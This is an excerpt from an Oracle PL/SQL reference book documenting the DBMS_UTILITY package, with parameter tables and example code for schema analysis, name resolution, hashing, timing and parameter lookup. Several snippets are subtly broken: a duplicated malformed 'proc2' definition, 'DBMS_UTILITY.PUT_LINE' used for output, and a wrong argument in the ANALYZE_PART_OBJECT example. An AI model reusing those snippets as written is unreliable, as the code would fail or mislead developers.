10.1.1.1 DBMS_UTILITY nonprogram elements

In addition to the functions and procedures defined in the package, DBMS_UTILITY also declares five PL/SQL tables that are used either as input into or output from the package's built-in modules. By the way, these tables are also used by other built-in packages, such as DBMS_DEFER. See Chapter 10 of Oracle PL/SQL Programming for more information about PL/SQL tables (also called index-by tables as of Oracle8).

DBMS_UTILITY.UNCL_ARRAY

This PL/SQL table type is used to store lists of strings in the format:

"USER"."NAME."COLUMN"@LINK

You can use the array to store any strings you want up to the length determined in the following TABLE type statement:

TYPE DBMS_UTILITY.UNCL_ARRAY IS
   TABLE OF VARCHAR2(227) INDEX BY BINARY_INTEGER;
DBMS_UTILITY.NAME_ARRAY

This PL/SQL table type is used to store names of identifiers and is defined as follows:

TYPE DBMS_UTILITY.NAME_ARRAY IS
TABLE OF VARCHAR2(30) INDEX BY BINARY_INTEGER;
DBMS_UTILITY.DBLINK_ARRAY

This PL/SQL table type is used to store database links and is defined as follows:

TYPE DBMS_UTILITY.DBLINK_ARRAY IS
TABLE OF VARCHAR2(128) INDEX BY BINARY_INTEGER;
DBMS_UTILITY.INDEX_TABLE_TYPE

This PL/SQL table type is declared within the package, but is not otherwise used. It is made available for use by other packages and programs.

TYPE DBMS_UTILITY.INDEX_TABLE_TYPE IS
TABLE OF BINARY_INTEGER INDEX BY BINARY_INTEGER;
DBMS_UTILITY.NUMBER_ARRAY

This PL/SQL table type is declared within the package, but is not otherwise used. It is made available for use by other packages and programs.

TYPE DBMS_UTILITY.NUMBER_ARRAY IS
TABLE OF NUMBER INDEX BY BINARY_INTEGER;

You can declare PL/SQL tables based on these TABLE type statements as shown below:

DECLARE
   short_name_list DBMS_UTILITY.NAME_ARRAY;
   long_name_list DBMS_UTILITY.INDEX_TABLE_TYPE;
BEGIN
...

Of course, if you do declare PL/SQL tables based on DBMS_UTILITY data structures, then those declarations will change with any changes in the package.

10.1.2 The DBMS_UTILITY Interface

This section describes each of the programs in the DBMS_UTILITY package; because of the miscellaneous nature of these programs, they are simply listed in alphabetical order.

10.1.2.1 The DBMS_UTILITY.ANALYZE_DATABASE procedure

This procedure analyzes all the tables, clusters, and indexes in the entire database. The header for the procedure follows:

PROCEDURE DBMS_UTILITY.ANALYZE_DATABASE
   (method IN VARCHAR2
   ,estimate_rows IN NUMBER DEFAULT NULL
   ,estimate_percent IN NUMBER DEFAULT NULL
   ,method_opt IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in this table.

Parameter | Description
method | Action to be taken by the program. ESTIMATE, DELETE, and COMPUTE are accepted values and are explained later.
estimate_rows | The number of rows to be used to perform the statistics estimate. Cannot be less than 1. Used only if method is ESTIMATE.
estimate_percent | The percentage of rows to be used to perform the statistics estimate. Ignored if estimate_rows is non-NULL. Must be between 1 and 99. Used only if method is ESTIMATE.
method_opt | The method option, indicating which elements of the object will be analyzed.

Here are the valid entries for the method argument, and the resulting activity (when you pass one of these values, they must be enclosed in single quotes):

COMPUTE

Exact statistics are computed based on the entire contents of the objects. These values are then placed in the data dictionary.

ESTIMATE

Statistics are estimated. With this option, either estimate_rows or estimate_percent must be non-NULL. These values are then placed in the data dictionary.

DELETE

The statistics for this object are deleted from the data dictionary.

Here are the valid method_opt entries and the resulting impact (when you pass one of these values, they must be enclosed in single quotes):

FOR TABLE

Collects statistics for the table.

FOR ALL COLUMNS [SIZE N]

Collects column statistics for all columns and scalar attributes. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXED COLUMNS [SIZE N]

Collects column statistics for all indexed columns in the table. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXES

Collects statistics for all indexes associated with the table.

10.1.2.1.1 Example

Here is an example of a request to this program to analyze all columns in my database:

BEGIN
   DBMS_UTILITY.ANALYZE_DATABASE (
      'ESTIMATE',
      100,
      50,
      'FOR ALL COLUMNS SIZE 200');
END;

10.1.2.2 The DBMS_UTILITY.ANALYZE_SCHEMA procedure

This procedure analyzes all of the tables, clusters, and indexes in the specified schema. The header for the procedure follows:

PROCEDURE DBMS_UTILITY.ANALYZE_SCHEMA
   (schema IN VARCHAR2
   ,method IN VARCHAR2
   ,estimate_rows IN NUMBER DEFAULT NULL
   ,estimate_percent IN NUMBER DEFAULT NULL
   ,method_opt IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in this table.

Parameters | Description
schema | The name of the schema containing the object for which you wish to compute statistics. If NULL, then the current schema is used. This argument is case-sensitive.
method | Action to be taken by the program. ESTIMATE, DELETE, and COMPUTE are accepted values (explained later).
estimate_rows | The number of rows to be used to perform the statistics estimate. Cannot be less than 1. Used only if method is ESTIMATE.
estimate_percent | The percentage of rows to be used to perform the statistics estimate. Ignored if estimate_rows is non-NULL. Must be between 1 and 99. Used only if method is ESTIMATE.
method_opt | The method option, indicating which elements of the object will be analyzed.

Here are the valid entries for the method argument, and the resulting activity (when you pass one of these values, they must be enclosed in single quotes):

COMPUTE

Exact statistics are computed based on the entire contents of the objects. These values are then placed in the data dictionary.

ESTIMATE

Statistics are estimated. With this option, either estimate_rows or estimate_percent must be non-NULL. These values are then placed in the data dictionary.

DELETE

The statistics for this object are deleted from the data dictionary.

Here are the valid method_opt entries and the resulting impact (when you pass one of these values, they must be enclosed in single quotes):

FOR TABLE

Collects statistics for the table.

FOR ALL COLUMNS [SIZE N]

Collects column statistics for all columns and scalar attributes. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXED COLUMNS [SIZE N]

Collects column statistics for all indexed columns in the table. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXES

Collects statistics for all indexes associated with the table.

10.1.2.2.1 Example

Here is an example of a request to this program to analyze all indexes in my current schema:

BEGIN
   DBMS_UTILITY.ANALYZE_SCHEMA (
      USER,
      'ESTIMATE',
      100,
      50,
      'FOR ALL INDEXES');
END;
/

10.1.2.3 The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only)

This procedure analyzes the specified, partitioned object. Here's the header for the procedure:

PROCEDURE DBMS_UTILITY.ANALYZE_PART_OBJECT
   (schema IN VARCHAR2 DEFAULT NULL
   ,object_name IN VARCHAR2 DEFAULT NULL
   ,object_type IN CHAR DEFAULT 'T'
   ,command_type IN CHAR DEFAULT 'E'
   ,command_opt IN VARCHAR2 DEFAULT NULL
   ,sample_clause IN VARCHAR2 DEFAULT 'SAMPLE 5 PERCENT');

Parameters are summarized in the following table.

Parameter

Description

schema

The schema containing the specified object.

object_name

The name of the object to be analyzed. It must be partitioned.

object_type

The type of the object. Must be either T for TABLE or I for INDEX.

command_type

A code indicating the type of analysis to perform. Valid values: C for COMPUTE STATISTICS, E for ESTIMATE STATISTICS, D for DELETE STATISTICS, and V for VALIDATE STRUCTURE.

command_opt

Options for the different command types. If command type is C or E, then command_opt can be any of the following:

FOR TABLE, FOR ALL LOCAL INDEXES, FOR ALL COLUMNS, or a combination of some of the FOR options of the ANALYZE STATISTICS command. If command_type is V, then command_opt can be CASCADE if the object_type is T for TABLE.

sample_clause

Specifies the sample clause to use when command_type is E for ESTIMATE.

Running this program is equivalent to executing this SQL command,

ANALYZE TABLE|INDEX [<schema>.]<object_name>
   PARTITION <pname> [<command_type>] [<command_opt>] [<sample_clause>]

for each partition of the specified object. DBMS_UTILITY will submit a job for each partition, so that the analysis can run in parallel using job queues. It is up to the user to control the number of concurrent jobs that will be started by setting correctly the initialization parameter JOB_QUEUE_PROCESSES.

Any syntax errors encountered for the object specification will be reported in SNP trace files.

10.1.2.3.1 Example

Here is an example of a request to this program to delete the statistics associated with the columns of the emp table:

BEGIN
   DBMS_UTILITY.ANALYZE_PART_OBJECT (
      USER,
      'EMP',
      'T',
      'DELETE STATISTICS',
      'FOR ALL COLUMNS');
END;
/

10.1.2.4 The DBMS_UTILITY.COMMA_TO_TABLE procedure

The COMMA_TO_TABLE procedure parses a comma-delimited list and places each name into a PL/SQL table. Here's the header for the procedure:

  PROCEDURE DBMS_UTILITY.COMMA_TO_TABLE
     (list IN VARCHAR2
     ,tablen OUT BINARY_INTEGER
     ,tab OUT UNCL_ARRAY);

Parameters are summarized in the following table.

Parameter | Description
list | Comma-delimited string
tablen | Number of names found in the list and placed in the PL/SQL table
tab | The PL/SQL table declared using one of the package's predeclared TABLE types

This procedure uses the NAME_TOKENIZE procedure to determine which of the string's characters are names and which are commas.

10.1.2.4.1 Example

COMMA_TO_TABLE is a handy utility if you happen to have a comma-delimited string; otherwise, it does you no good. Just think: with a tiny bit more effort, Oracle could have provided us with a much more general-purpose and useful string parsing engine.

In any case, here is a sample use of DBMS_UTILITY.COMMA_TO_TABLE. It takes two different lists of correlated information, parses them into rows in two different tables, and then uses that data in a series of UPDATE statements.

/* Filename on companion disk: upddelist.sp */*
CREATE OR REPLACE PROCEDURE upd_from_list (
   empno_list IN VARCHAR2,
   sal_list IN VARCHAR2)
IS
   empnos DBMS_UTILITY.UNCL_ARRAY;
   sals DBMS_UTILITY.UNCL_ARRAY;
   numemps INTEGER;
BEGIN
   DBMS_UTILITY.COMMA_TO_TABLE (empno_list, numemps, empnos);
   DBMS_UTILITY.COMMA_TO_TABLE (sal_list, numemps, sals);
   FOR rownum IN 1 .. numemps
   LOOP
      UPDATE emp SET sal = TO_NUMBER (sals(rownum))
       WHERE empno = TO_NUMBER (empnos(rownum));
   END LOOP;
END;
/

NOTE: If you are running Oracle8, you could even rewrite this program to use array processing in DBMS_SQL and replace this loop with a single, dynamic UPDATE statement. See Chapter 2, Executing Dynamic SQL and PL/SQL, for more information.

10.1.2.5 The DBMS_UTILITY.COMPILE_SCHEMA procedure

This procedure compiles all procedures, functions, and packages in the specified schema. The header for the procedure is,

PROCEDURE DBMS_UTILITY.COMPILE_SCHEMA (schema VARCHAR2);

where schema is the name of the schema.

I have heard reports from developers that it sometimes seems as though they run this program and it does not do anything at all. As I write this, though, I have requested that DBMS_UTILITY recompile my PL/Vision schema, and the buzzing of the hard drive light, as well as the delay in the resurfacing of my SQL*Plus prompt, attests to the fact that it is indeed recompiling the scores of packages in this schema.

10.1.2.5.1 Example

I execute the following command in SQL*Plus to recompile all programs in my current schema. Notice that before the recompilation, I had a single invalid package. Afterwards, all objects are valid.

SQL> select object_name from user_objects where status='INVALID';
OBJECT_NAME
---------------------------------------------------------------
PLGTE

SQL> exec DBMS_UTILITY.COMPILE_SCHEMA(user)
PL/SQL procedure successfully completed.

SQL> select object_name from user_objects where status='INVALID';
no rows selected

10.1.2.6 The DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK function

This function extracts and returns the block number of a data block address. The header for this function is,

FUNCTION DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK (dba IN NUMBER)
   RETURN NUMBER;

where dba is the data block address.

10.1.2.7 The DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE function

This function extracts and returns the file number of a data block address. The header for this function is,

FUNCTION DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE (dba IN NUMBER)
RETURN NUMBER;

where dba is the data block address.

10.1.2.8 The DBMS_UTILITY.DB_VERSION procedure

This procedure (PL/SQL8 only) returns version information for the current database instance. Here's the header for this procedure:

PROCEDURE DBMS_UTILITY.DB_VERSION
    (version OUT VARCHAR2
    ,compatibility OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
version | A string that represents the internal software version of the database. The length of this string is variable and is determined by the database version.
compatibility | The compatibility setting of the database determined by the INIT.ORA parameter, COMPATIBLE. If the parameter is not specified in the INIT.ORA file, NULL is returned.

10.1.2.8.1 Example

Before this function was available, you had to build a query against a V$ table in order to obtain this information. Now it is easy to obtain your database version from within PL/SQL. In fact, you can make it even easier to get this information by building a wrapper around DBMS_UTILITY.DB_VERSION, as shown here:

/* Filename on companion disk: dbver.spp */*
CREATE OR REPLACE PACKAGE db
IS
   FUNCTION version RETURN VARCHAR2;
   FUNCTION compatibility RETURN VARCHAR2;
END;
/
CREATE OR REPLACE PACKAGE BODY db
IS
   v VARCHAR2(100);
   c VARCHAR2(100);

   PROCEDURE init_info
   IS
   BEGIN
      IF v IS NULL
      THEN
         DBMS_UTILITY.DB_VERSION (v, c);
      END IF;
   END;

   FUNCTION version RETURN VARCHAR2
   IS
   BEGIN
      init_info;
      RETURN v;
   END;

   FUNCTION compatibility RETURN VARCHAR2
   IS
   BEGIN
      init_info;
      RETURN c;
   END;
END;
/

Notice that this very simple package also optimizes lookups against the DBMS_UTILITY package. The first time you call either the DB.VERSION or the DB.COMPATILITY functions, the private init_info procedure will detect that the v variable is NULL, and so it will call the built-in procedure. From that point on, however, whenever you call either of the DB functions, they will simply return the current value. After all, the version of the database is not going to change during your connection to that database.

Here is the output I received from db.version on Oracle8:

SQL> exec DBMS_UTILITY.PUT_LINE (db.version)
8.0.3.0.0

10.1.2.9 The DBMS_UTILITY.EXEC_DDL_STATEMENT procedure

Oracle has added a procedure to the DBMS_UTILITY package that allows you to execute a DDL statement easily. The header for this procedure follows:

PROCEDURE DBMS_UTILITY.EXEC_DDL_STATEMENT
    (parse_string IN VARCHAR2);

Here, for example, is all the code I need to write to create an index from within PL/SQL:

BEGIN
   DBMS_UTILITY.EXEC_DDL_STATEMENT
      ('create index so_easy on emp (hiredate, mgr, sal)');
END;
/

You can also use the DBMS_SQL package to perform the same functionality.

10.1.2.10 The DBMS_UTILITY.FORMAT_CALL_STACK function

This function formats and returns the current call stack. You can use this function to access the call stack in your program. The header for the function follows:

FUNCTION DBMS_UTILITY.FORMAT_CALL_STACK RETURN VARCHAR2;

10.1.2.10.1 Example

I generated the information in this next example with the following statement:

DBMS_OUTPUT.PUT_LINE (DBMS_UTILITY.FORMAT_CALL_STACK);

The code shows sample output from a call to FORMAT_CALL_STACK.

----- PL/SQL Call Stack -----
  object      line  object
  handle    number  name
817efc90         3  procedure BOOK.CALC_TOTALS
817d99ec         3  function BOOK.NET_PROFIT
817d101c         4  anonymous block

The output from this function can be up to 2000 bytes in length.

10.1.2.11 The DBMS_UTILITY.FORMAT_ERROR_STACK function

The FORMAT_ERROR_STACK function formats and returns the current error stack. You might use this function in an exception handler to examine the sequence of errors raised. The header for the function follows:

FUNCTION DBMS_UTILITY.FORMAT_ERROR_STACK RETURN VARCHAR2;

The output from this function can be up to 2000 bytes in length.

10.1.2.11.1 Example

The script file errstk.sql creates three procedures, each of which raises a different exception, and then kicks off the nested execution of those programs.

/* Filename on companion disk: errstk.sql */*
CREATE OR REPLACE PROCEDURE proc1
IS
BEGIN
   RAISE NO_DATA_FOUND;
END;
/
CREATE OR REPLACE PROCEDURE proc2 S
BEGIN
   proc1;
EXCEPTION
   WHEN OTHERS THEN RAISE VALUE_ERROR;
END;
/
CREATE OR REPLACE PROCEDURE proc2 IS
BEGIN
   proc1;
EXCEPTION
   WHEN OTHERS THEN RAISE VALUE_ERROR;
END;
/
CREATE OR REPLACE PROCEDURE proc3 IS
BEGIN
   proc2;
EXCEPTION
   WHEN OTHERS THEN RAISE DUP_VAL_ON_INDEX;
END;
/
BEGIN /* Now execute the top-level procedure. */
   proc3;
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE (DBMS_UTILITY.FORMAT_ERROR_STACK);
END;
/

Here is the output from this script:

ORA-00001: unique constraint (.) violated
ORA-06502: PL/SQL: numeric or value error
ORA-01403: no data found

Here is my conclusion from this test: the DBMS_UTILITY.FORMAT_ERROR_STACK is of limited use in PL/SQL programs. You don't see the name of the program in which the error was raised, and you don't see the line number on which the error occurred.

10.1.2.12 The DBMS_UTILITY.GET_HASH_VALUE function

This function gives PL/SQL developers access to a hashing algorithm. You will generally use hashing to generate a unique (or at least likely to be unique) integer value for a string. Here's the header for this function:

FUNCTION DBMS_UTILITY.GET_HASH_VALUE
    (name IN VARCHAR2
    ,base IN NUMBER
    ,hash_size IN NUMBER)
RETURN NUMBER;

Parameters are summarized in the following table.

Parameter | Description
name | The string to be converted or hashed into an integer
base | The base or starting value of integer values for the hashing algorithm
hash_size | The size of the "hash table," meaning the total number of values that are available to the hashing algorithm as conversions from the string inputs

The values of base and hash_size determine the range of integers that can be used as converted values. Clearly, the larger the hash size, the more likely it is that you will be able to obtain a unique integer for every string you pass to the program.

Here are some points to keep in mind when working with the GET_HASH_VALUE function:

  • Use a small prime number for the base parameter. This establishes the low point of the range of values for the hash table.

  • Use a very large number, and, at Oracle's suggestion, a power of 2, for the hash size to obtain best results. I usually employ a number like 230.

  • You can never be sure that the function will actually return an integer value that is unique across the different strings you are converting or have already converted. You must always check to ensure that the value is unique.

  • If you hit a conflict, you must rebuild your entire hash table (the list of integer values you have generated so far).

  • Since you want to make sure that your base and hash_size values are applied consistently to all hashings for a particular application, you should never call the GET_HASH_VALUE function directly. Instead, you should build a "wrapper" around it that presets all of the arguments except the string that you are hashing. This technique is shown in the following example.

10.1.2.12.1 Example

The following example demonstrates how to use the hash function. It also shows how to use the function to build an alternative index on a PL/SQL table. Finally, it compares the performance of hash-based lookups versus a "full table scan" of a PL/SQL table. Comments in the program should make it easy to follow the algorithm.

NOTE: The demohash procedure makes use of the p.l procedure, the PL/Vision replacement for the much more awkward and limited DBMS_OUTPUT.PUT_LINE, as well as the PLVtmr package.[1]

/* Filename on companion disk: hashdemo.sp */
CREATE OR REPLACE PROCEDURE demohash (counter IN INTEGER)
IS
   v_row PLS_INTEGER;
   v_name VARCHAR2(30);
   hashing_failure EXCEPTION;

   /* Define the PL/SQL table */
   TYPE string_tabtype IS TABLE OF VARCHAR2(60)
      INDEX BY BINARY_INTEGER;
   names string_tabtype;

   /* A function which returns the hashed value. */
   FUNCTION hashval (value IN VARCHAR2) RETURN NUMBER
   IS
   BEGIN
       RETURN DBMS_UTILITY.GET_HASH_VALUE
          (value, 37, 1073741824);  /* POWER (2, 30) */
   END hashval;

   /* Add a name to the table, using the hash function to
      determine the row in which the value is placed. Ah,
      the beauty of sparse PL/SQL tables! */
   PROCEDURE addname (nm IN VARCHAR2) IS
   BEGIN
       v_row := hashval (nm);
       names (v_row) := nm;
   END;

   /* Obtain the row for a name by scanning the table. */
   FUNCTION rowbyscan (nm IN VARCHAR2) RETURN PLS_INTEGER
   IS
      v_row PLS_INTEGER := names.FIRST;
      retval PLS_INTEGER;
   BEGIN
      LOOP
         EXIT WHEN v_row IS NULL;
         IF names(v_row) = nm
         THEN
            retval := v_row;
            EXIT;
         ELSE
            v_row := names.NEXT (v_row);
         END IF;
      END LOOP;
      RETURN retval;
   END;

   /* Obtain the row for a name by hashing the string. */
  FUNCTION rowbyhash (nm IN VARCHAR2) RETURN PLS_INTEGER
   IS
   BEGIN
      RETURN hashval (nm);
   END;
BEGIN
   /* Load up the table with a set of strings based on the number
      of iterations requested. This allows us to easily test the
      scalability of the two algorithms. */
   FOR i IN 1 .. counter
   LOOP
       addname ('Steven' || i);
       addname ('Veva' || i);
       addname ('Eli' || i);
       addname ('Chris' || i);
   END LOOP;

   /* Verify that there were no hashing conflicts (the COUNT should
      be 4 x counter. */
   p.l ('Count in names', names.COUNT);

   IF names.COUNT != 4 * counter
   THEN
      p.l ('Hashing conflict! Test suspended...');
      RAISE hashing_failure;
   END IF;

   /* Verify that the two scans return matching values. */
   v_name := 'Eli' || TRUNC (counter/2);
   p.l ('scan',rowbyscan (v_name));
   p.l ('hash',rowbyhash (v_name));
   IF rowbyscan (v_name) != rowbyhash (v_name)
   THEN
      p.l ('Scanned row differs from hashed row. Test suspended...');
      RAISE hashing_failure;
   END IF;

   /* Time performance of retrieval via scan. */
   plvtmr.capture;
   FOR i IN 1 .. counter
   LOOP
      v_row := rowbyscan (v_name);
   END LOOP;
   plvtmr.show_elapsed ('scan');

   /* Time performance of retrieval via hashed value. */
   plvtmr.capture;
   FOR i IN 1 .. counter
   LOOP
      v_row := rowbyhash (v_name);
   END LOOP;
   plvtmr.show_elapsed ('hash');
EXCEPTION
   WHEN hashing_failure
   THEN
      NULL;
END;
/

10.1.2.13 The DBMS_UTILITY.GET_PARAMETER_VALUE function

Available first in PL/SQL8, this function allows you to retrieve the value of a database initialization parameter (set in the INIT.ORA initialization file). Here's the header:

FUNCTION DBMS_UTILITY.GET_PARAMETER_VALUE
    (parnam IN VARCHAR2
    ,intval IN OUT BINARY_INTEGER
    ,strval IN OUT VARCHAR2)
RETURN BINARY_INTEGER;

The value returned by the function is either of the following:

0

Indicating a numeric or Boolean parameter value

1

Indicating a string parameter value

Parameters are summarized in the following table.

Parameter | Description
parnam | The name of the initialization parameter (case-insensitive).
intval | The parameter value if that value is numeric. If the value is a Boolean (i.e., the value in the initialization file is TRUE or FALSE), then intval is set to 0 for FALSE and 1 for TRUE. If the value is a string, then this argument contains the length of that string value.
strval | The parameter value if that value is a string. Otherwise it is NULL.

Long desired by Oracle developers, the GET_PARAMETER_VALUE function now allows you to get critical information about the current database instance, including the default date format and lots of information about the way shared memory is configured. And you don't have to use UTL_FILE to read the initialization file. (Chances are your DBA would not enable the database directory holding this file for UTL_FILE access anyway!). Note that if you have more than one entry for the same parameter (certainly a possibility with a parameter such as UTL_FILE_DIR), then this built-in will retrieve only the value associated with the first occurrence of the parameter.

You will probably want to build a wrapper around GET_PARAMETER_VALUE to make it easier to retrieve and interpret the results. Why? Whenever you call this built-in function, you must declare two variables to retrieve the OUT arguments. You must then interpret the results. Rather than write all this code and have to remember all these rules, you can build it into a package once and then simply call the appropriate program as needed. A prototype of such a package is shown later in this section.

My package specification contains these three sections:

  • Generic interfaces to the built-in, by datatype: return a string value, integer value, or Boolean value. You have to know which type of value should be returned for the name you provide.

  • Functions returning the values of specific named (by the name of the function) entries in the initialization file. You should expand this section to make it easy to retrieve values for parameters you work with.

  • A display procedure to show the different values returned by the built-in for a particular parameter.

    /* Filename on companion disk: dbparm.spp */
CREATE OR REPLACE PACKAGE dbparm
IS
   /* Generic (by datatype) interfaces to built-in. */
   FUNCTION strval (nm IN VARCHAR2) RETURN VARCHAR2;
   FUNCTION intval (nm IN VARCHAR2) RETURN INTEGER;
   FUNCTION boolval (nm IN VARCHAR2) RETURN BOOLEAN;

   /* Encapsulation for specific parameter retrieval */
   FUNCTION nls_date_format RETURN VARCHAR2;
   FUNCTION utl_file_dir RETURN VARCHAR2;
   FUNCTION db_block_buffers RETURN INTEGER;

   PROCEDURE showval (nm IN VARCHAR2);
END;
/

Rather than show the entire package body (also found in dbparm.spp), I will show you the two levels of encapsulation around DBMS_UTILITY.GET_PARAMETER_VALUE found in the package. You can then apply that technique to other parameters of interest.

Here is the dbparm.intval function. It calls the built-in procedure and then returns the integer value. You might want to enhance this procedure to check the datatype of the parameter and only return a value if it is in fact a numeric (or Boolean) type.

FUNCTION intval (nm IN VARCHAR2) RETURN INTEGER
IS
   valtype PLS_INTEGER;
   ival PLS_INTEGER;
   sval VARCHAR2(2000);
BEGIN
   valtype := DBMS_UTILITY.GET_PARAMETER_VALUE (nm, ival, sval);
   RETURN ival;
END;

Now I build my dbparm.db_block_buffers package on top of that one as follows:

FUNCTION db_block_buffers RETURN INTEGER
IS
BEGIN
   RETURN intval ('db_block_buffers');
END;

10.1.2.14 The DBMS_UTILITY.GET_TIME function

This function returns the number of 100ths of seconds that have elapsed from an arbitrary time. The header for the function follows:

FUNCTION DBMS_UTILITY.GET_TIME RETURN NUMBER;

You are probably wondering what this "arbitrary time" is and why I don't tell you about what that starting point is. Two reasons: I don't know and it doesn't matter. You should not use GET_TIME to establish the current time, but only to calculate the elapsed time between two events.

The following example calculates the number of 100ths of elapsed seconds since the calc_totals procedure was executed:

DECLARE
   time_before BINARY_INTEGER;
   time_after BINARY_INTEGER;
BEGIN
   time_before := DBMS_UTILITY.GET_TIME;
   calc_totals;
   time_after := DBMS_UTILITY.GET_TIME;
   DBMS_OUTPUT.PUT_LINE (time_after - time_before);
END;

Without GET_TIME, Oracle functions can only record and provide elapsed time in second intervals, which is a very coarse granularity in today's world of computing. With GET_TIME, you can get a much finer understanding of the processing times of lines in your program.

Notice that in my anonymous block I had to declare two local variables, make my calls to GET_TIME, and then compute the difference. I will probably need to perform those actions over and over again in my programs. I might even want to perform timings that cross product lines (e.g., start my timing in a form and then check elapsed time from inside a report module). To make it easier to use GET_TIME in these various ways, I built a package called sptimer ("stored package timer" mechanism), which you can find in the sptimer.sps and sptimer.spb files on the companion disk.[2]

[2] PL/Vision also offers the PLVtmr package, a much more fully-realized timing utility. See the Preface ("About PL/Vision") for more information.

10.1.2.15 The DBMS_UTILITY.IS_PARALLEL_SERVER function

This function helps determine whether the database is running in parallel server mode. The specification follows:

FUNCTION DBMS_UTILITY.IS_PARALLEL_SERVER  RETURN BOOLEAN;

The function returns TRUE if the database is running in parallel server mode; otherwise, it returns FALSE.

10.1.2.16 The DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS function

Use this function to obtain a valid data block address from a file number and block number. The header follows:

FUNCTION DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS
   (file IN NUMBER
   ,block IN NUMBER)
RETURN NUMBER;

10.1.2.16.1 Example

Here is an example of calling this function and displaying the resulting value:

SQL> BEGIN
   2    DBMS_OUTPUT.PUT_LINE
   3      (DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS (10000, 20000));
   4 END;
   5 /

268455456

10.1.2.17 The DBMS_UTILITY.NAME_RESOLVE procedure

This procedure resolves the name of an object into its component parts, performing synonym translations as necessary. Here's the header for the procedure:

PROCEDURE DBMS_UTILITY.NAME_RESOLVE
   (name IN VARCHAR2,
    context IN NUMBER,
    schema OUT VARCHAR2,
    part1 OUT VARCHAR2,
    part2 OUT VARCHAR2,
    dblink OUT VARCHAR2,
    part1_type OUT NUMBER,
    object_number OUT NUMBER);

Parameters are summarized in the following table.

Parameter | Description
name | The name of the object to be resolved.
context | Present for future compatibility; must be set to the value 1.
schema | Name of the object's schema.
part1 | The first part of the object's name.
part2 | The second part of the object's name (NULL unless the object is a package module, and then part1 is the package name).
dblink | Name of the database link for the object, if any.
part1_type | Indicates the type of object returned in part1.
object_number | The object number for the named object. When object_number is returned NOT NULL, the name was successfully resolved.

An object type may have one of the following values:

5

Synonym

7

Standalone procedure

8

Standalone function

9

Package

The NAME_RESOLVE procedure has six OUT parameters, which means that in order to use this module you will have to declare six variables -- an annoying task that creates an obstacle to casual use of the procedure.

I built a procedure called show_name_components precisely to make it easier to take advantage of NAME_RESOLVE. The show_name_components accepts an object name, and then calls DBMS_OUTPUT.PUT_LINE to display the different components of the name. It shows information only if it is relevant; in other words, if there is no part2, then part2 is not displayed. The name of the database link is displayed only if there is a database link associated with that object.

Here are some examples of calls to show_name_components:

SQL>  execute show_name_components('do.pl');
Schema: BOOK
Package: DO
Name: PL

SQL>  execute show_name_components('do');
Schema: BOOK
Package: DO

SQL> execute show_name_components('show_name_components');
Schema: BOOK
Procedure: SHOW_NAME_COMPONENTS

Here is the show_name_components procedure in its entirety:

/* Filename on companion disk: showcomp.sp */*
CREATE OR REPLACE PROCEDURE show_name_components (name_in IN VARCHAR2)
IS
   /* variables to hold components of the name */
   schema VARCHAR2(100);
   part1 VARCHAR2(100);
   part2 VARCHAR2(100);
   dblink VARCHAR2(100);
   part1_type NUMBER;
   object_number NUMBER;

   /*--------------------- Local Module -----------------------*/
   FUNCTION object_type (type_in IN INTEGER)
      RETURN VARCHAR2
   /* Return name for integer type */
   IS
      synonym_type CONSTANT INTEGER := 5;
      procedure_type CONSTANT INTEGER := 7;
      function_type CONSTANT INTEGER := 8;
      package_type CONSTANT INTEGER := 9;
   BEGIN
      IF type_in = synonym_type
      THEN
         RETURN 'Synonym';
      ELSIF type_in = procedure_type
      THEN
         RETURN 'Procedure';
      ELSIF type_in = function_type
      THEN
         RETURN 'Function';
      ELSIF type_in = package_type
      THEN
         RETURN 'Package';
      END IF;
   END;
BEGIN
   /* Break down the name into its components */
   DBMS_UTILITY.NAME_RESOLVE
      (name_in, 1,
       schema, part1, part2,
       dblink , part1_type, object_number);

   /* If the object number is NULL, name resolution failed. */
   IF object_number IS NULL
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('Name "' || name_in ||
          '" does not identify a valid object.');
   ELSE
      /* Display the schema, which is always available. */
      DBMS_OUTPUT.PUT_LINE ('Schema: ' || schema);

      /* If there is a first part to name, have a package module */
      IF part1 IS NOT NULL
      THEN
         /* Display the first part of the name */
         DBMS_OUTPUT.PUT_LINE
            (object_type (part1_type) || ': ' || part1);

         /* If there is a second part, display that. */
         IF part2 IS NOT NULL
         THEN
            DBMS_OUTPUT.PUT_LINE ('Name: ' || part2);
         END IF;
      ELSE
         /* No first part of name. Just display second part. */
         DBMS_OUTPUT.PUT_LINE
            (object_type (part1_type) || ': ' || part2);
      END IF;

      /* Display the database link if it is present. */
      IF dblink IS NOT NULL
      THEN
         DBMS_OUTPUT.PUT_LINE ('Database Link:' || dblink);
      END IF;
   END IF;
END;
/

10.1.2.18 The DBMS_UTILITY.NAME_TOKENIZE procedure

This procedure calls the PL/SQL parser to parse the given name that is in the following format,

a [ . b [. c]] [@dblink ]

where dblink is the name of a database link. Here's the header for the procedure:

PROCEDURE DBMS_UTILITY.NAME_TOKENIZE
   (name  IN VARCHAR2,
    a OUT VARCHAR2,
    b OUT VARCHAR2,
    c OUT VARCHAR2,
    dblink OUT VARCHAR2,
    nextpos OUT BINARY_INTEGER);

Parameters are summarized in the following table.

Parameter | Description
name | Name being parsed
a, b, c | Components of name, if present
dblink | Name of database link
nextpos | Position where next token starts

NAME_TOKENIZE follows these rules:

  • Strips off all double quotes

  • Converts to uppercase if there are no quotes

  • Ignores any inline comments

  • Does no semantic analysis

  • Leaves any missing values as NULL

10.1.2.19 The DBMS_UTILITY.PORT_STRING function

